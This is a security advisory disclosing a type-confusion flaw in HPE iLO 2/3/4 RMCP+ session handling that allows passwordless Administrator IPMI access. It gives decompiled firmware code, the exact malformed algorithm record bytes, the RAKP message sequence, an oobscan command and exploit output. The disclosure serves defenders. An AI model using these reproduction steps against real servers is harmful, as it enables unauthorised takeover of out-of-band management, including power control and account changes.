HPE iLO 2/3/4 RMCP+ type confusion enables passwordless administrator sessions

Executive summary #

HPE's iLO 2/3/4 RMCP+ Open Session handler stores negotiated algorithms by record position but validates them by each record's declared payload type. An unauthenticated client can label the first record as confidentiality algorithm 0, bypass the guard against authentication algorithm 0, and activate a RAKP-none session without an account password. Only the name of an enabled account is required, and the session can be raised to Administrator.

This issue is an instance of CWE-843 (Access of Resource Using Incompatible Type) and CWE-305 (Authentication Bypass by Primary Weakness). It has an estimated CVSSv3.1 score of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8, Critical), and current SSVC vectors of "Exploitation: PoC" and "Technical Impact: Total."

Technical details #

The affected component is the iLO 2/3/4 RMCP+ session engine in the main firmware image elf.bin (src\rmcpplus.c, src\rakp3.c). The analysis below references iLO 4 firmware 2.82; the same positional-store/declared-type-validate defect is present in the iLO 2 and iLO 3 firmware branches, which share the same Green Hills INTEGRITY RMCP+ lineage.

The Open Session algorithm parser FUN_01ef4578 at 0x1ef4578 in firmware 2.82 iterates the three 8-byte algorithm records and writes each result positionally into the session's algorithm array. Iteration 0 always writes the authentication algorithm, independent of the record's declared payload type. Its guard against authentication algorithm 0 fires only when the record's declared type byte is 0x00:

9971  bVar7 = *pcVar4 == '\0';                       // declared payload-type byte == 0 (authentication)?
9975  bVar8 = bVar7 && param_2 == &SupervisorCall;    // ... and declared length == 8
9977      bVar8 = (pcVar2[0xc] & 0x3fU) == 0;         // ... and algorithm == 0
9979  if (bVar8) return 0xffffffff;                   // reject
...
9983  uVar3 = FUN_01ef4434(*pcVar4, cVar1, algo&0x1f); // per-record validator, keyed by DECLARED type
9994  *param_1 = (char)uVar3;                          // store algo POSITIONALLY into session slot

The per-record validator FUN_01ef4434 accepts algorithm 0 in its confidentiality branch. Declaring the first record as {type=0x02, len=0x08, algo=0x00} skips the authentication guard, passes confidentiality validation, and positionally stores authentication algorithm 0 in the session.

With authentication algorithm 0, RAKP Message 2 emits no HMAC. The RAKP Message 3 validator FUN_01ef3f7c at 0x1ef3f7c takes its param_2 == 0 branch and returns success when the message carries no key-exchange authentication code. FUN_01ef41c4 then activates the session.

To reproduce, send an RMCP+ Open Session Request whose authentication (first) record is 02 00 00 08 00 00 00 00 with the integrity and confidentiality records left as valid HMAC-SHA1 / AES-CBC-128; then RAKP Message 1 naming an enabled account; then RAKP Message 3 with an empty key-exchange auth code. RAKP Message 4 returns status 0x00 and the session is active with no password, as shown with open-source oobscan exploration tool:

oobscan ipmi --ilo-rakp-none -u Administrator example.lan user list

A representative result on iLO 4 firmware 2.30 is:

[control]  initial auth-algo-0 Open Session (declared type 0x00)  -> openSessionStatus=0x04  (REJECTED)
[exploit]  type-confused auth record {type=0x02,len=0x08,algo=0}  -> openSessionStatus=0x00  (ACCEPTED)
           RAKP1 (user Administrator, no password)                -> status=0x00
           RAKP3 (no key-exchange auth code)                      -> RAKP4 status=0x00  (SESSION ACTIVE)
[access]   sessionless request (session ID 0)                     -> no reply
           in-session Set Session Privilege -> Administrator       -> cc=0x00  data=04
           in-session Get User Name (slot 1)                       -> cc=0x00  -> "Administrator"
           in-session Get User Access / Get LAN Config / Chassis   -> cc=0x00

The initial Cipher Suite 0 offer (declared type 0x00) is rejected with status 0x04, so the target does not merely offer Cipher Suite 0. Sessionless requests receive no reply, confirming that the type-confused exchange produced a genuine active session.

Note that newer firmware may drop the initial auth-algo-0 entirely, however it will accepts the type confused auth record.

Attacker value #

This issue may allow an unauthenticated attacker to gain Administrator access to the IPMI service without an account password. The attacker needs network access to port 623/UDP and the name of an enabled account; the default account name is Administrator on all three affected generations, and RAKP Message 1 distinguishes enabled account names. Administrator access permits account modification, network and serial configuration changes, and chassis power control.

Credit #

This issue was discovered by HD Moore with the help of AI tools. Disclosure was coordinated by Tod Beardsley.

Timeline #

• 2026-07-19: Initial findings discovered and documented
• 2026-07-21: CVE-2026-65206 reserved
• 2026-07-24: Vendor notified
• 2026-07-28: Transferred reserved CVE IDs to HPE for record management
• 2026-10-13: Public disclosure